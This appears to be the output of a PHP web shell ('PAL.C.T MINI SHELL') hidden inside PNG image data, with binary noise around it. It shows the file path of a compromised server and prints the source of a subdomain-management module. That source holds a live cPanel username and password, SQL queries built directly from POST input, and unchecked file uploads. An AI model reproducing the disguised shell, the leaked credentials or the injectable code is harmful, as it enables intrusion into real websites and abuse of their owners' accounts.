php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/owner/modul/mod_subdomain/
upload
files >> /var/www/html/owner/modul/mod_subdomain/aksi_subdomain.php

<?php
session_start();

function create_subdomain($subDomain,$cPanelUser,$cPanelPass,$rootDomain) {

    //  $buildRequest = "/frontend/x3/subdomain/doadddomain.html?rootdomain=" . $rootDomain . "&domain=" . $subDomain;

      $buildRequest = "/frontend/x3/subdomain/doadddomain.html?rootdomain=" . $rootDomain . "&domain=" . $subDomain . "&dir=public_html/sub/";

      $openSocket = fsockopen('localhost',2082);
      if(!$openSocket) {
        return "Socket error";
        exit();
      }

      $authString = $cPanelUser . ":" . $cPanelPass;
      $authPass = base64_encode($authString);
      $buildHeaders  = "GET " . $buildRequest ."\r\n";
      $buildHeaders .= "HTTP/1.0\r\n";
      $buildHeaders .= "Host:localhost\r\n";
      $buildHeaders .= "Authorization: Basic " . $authPass . "\r\n";
      $buildHeaders .= "\r\n";

      fputs($openSocket, $buildHeaders);
      while(!feof($openSocket)) {
      fgets($openSocket,128);
      }
      fclose($openSocket);

      $newDomain = "http://" . $subDomain . "." . $rootDomain . "/";

    //  return "Created subdomain $newDomain";
      //echo "Subdomain berhasil diciptakan. : <br>";
      //echo "<hr>".$newDomain."<hr>";

    }

 if (empty($_SESSION['username']) AND empty($_SESSION['passuser'])){
  echo "<link href='style.css' rel='stylesheet' type='text/css'>
 <center>Untuk mengakses modul, Anda harus login <br>";
  echo "<a href=../../index.php><b>LOGIN</b></a></center>";
}
else{
include "../../../config/koneksi.php";
include "../../../config/fungsi_seo.php";
include "../../../config/fungsi_thumb.php";

$module=$_GET[module];
$act=$_GET[act];

// Input subdomain
if ($module=='subdomain' AND $act=='input'){

  $acak           = rand(1,99);
//Untuk Logo
  $lokasi_file    = $_FILES['fupload']['tmp_name'];
  $tipe_file      = $_FILES['fupload']['type'];
  $nama_file      = $_FILES['fupload']['name'];

  if (!empty($lokasi_file)){
    $nama_file_unik = $acak.$nama_file;
    UploadImage_foto_domain($nama_file_unik);
    }
  else{
    $nama_file_unik = "";
    }


//Untuk Background
  $acak1           = rand(1,99);
  $lokasi_file1    = $_FILES['fupload1']['tmp_name'];
  $tipe_file1      = $_FILES['fupload1']['type'];
  $nama_file1      = $_FILES['fupload1']['name'];

  if(!empty($lokasi_file1))
  {
    $nama_file_unik1 = $acak1.$nama_file1;
    UploadImage_bg_domain($nama_file_unik1);
  }
  else{
    $nama_file_unik1 = "";
    }


  mysql_query("INSERT INTO subdomain(id_subdomain, nama_website, nama_subdomain, foto, background) 
                VALUES( NULL, '$_POST[nama_website]', '$_POST[nama_subdomain]','$nama_file_unik','$nama_file_unik1')");

  // Proses membuat subdomain
    $subDomain  = $_POST['nama_subdomain'];
    $cPanelUser = "faek7944";
    $cPanelPass = "aazp3xUnqNi783";
    $rootDomain = "faedahteknik.com";

    //create_subdomain($subDomain,$cPanelUser,$cPanelPass,$rootDomain);

    //=============================================================================================
  header('location:../../media.php?module='.$module);

}





// Update subdomain
elseif ($module=='subdomain' AND $act=='update'){

 $data=mysql_fetch_array(mysql_query("SELECT * FROM subdomain WHERE id_subdomain='$_POST[id]'"));
  
  $acak           = rand(1,99);
// Untuk Logo
  $lokasi_file    = $_FILES['fupload']['tmp_name'];
  $tipe_file      = $_FILES['fupload']['type'];
  $nama_file      = $_FILES['fupload']['name'];
  $nama_file_unik = $acak.$nama_file; 

  if (!empty($lokasi_file)){      
      if ($data['foto']!=''){
         if(file_exists("../../../sub/images/$data[foto]"))
         {  unlink("../../../sub/images/$data[foto]");   }
         // if(file_exists("../../../sub/images/medium_$data[foto]"))               
         // {  unlink("../../../sub/images/medium_$data[foto]");   }
         // if(file_exists("../../../sub/images/small_$data[foto]"))
         // {  unlink("../../../sub/images/small_$data[foto]");   }
        }

          UploadImage_foto_domain($nama_file_unik);      
  }      
  else{
    $nama_file_unik = $data['foto'];
  }



  $acak1           = rand(1,99);
  $lokasi_file1    = $_FILES['fupload1']['tmp_name'];
  $tipe_file1      = $_FILES['fupload1']['type'];
  $nama_file1      = $_FILES['fupload1']['name'];
  $nama_file_unik1 = $acak1.$nama_file1; 
  
  if (!empty($lokasi_file1)){ 
      if ($data['background']!=''){
         if(file_exists("../../../sub/images/$data[background]"))
         {  unlink("../../../sub/images/$data[background]");   }
         // if(file_exists("../../../sub/images/medium_$data[background]"))               
         // {  unlink("../../../sub/images/medium_$data[background]");   }
         // if(file_exists("../../../sub/images/small_$data[background]"))
         // {  unlink("../../../sub/images/small_$data[background]");   }
        }

        UploadImage_bg_domain($nama_file_unik1);      
  }
  else{
    $nama_file_unik1 = $data['background'];
  }

    // echo $nama_file_unik."<br>";
   // echo $nama_file_unik1;
  mysql_query("UPDATE subdomain SET nama_website = '$_POST[nama_website]', foto = '$nama_file_unik', background = '$nama_file_unik1', aktif = '$_POST[aktif]'
               WHERE id_subdomain = '$_POST[id]'");


  header('location:../../media.php?module='.$module);
  }
}



?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`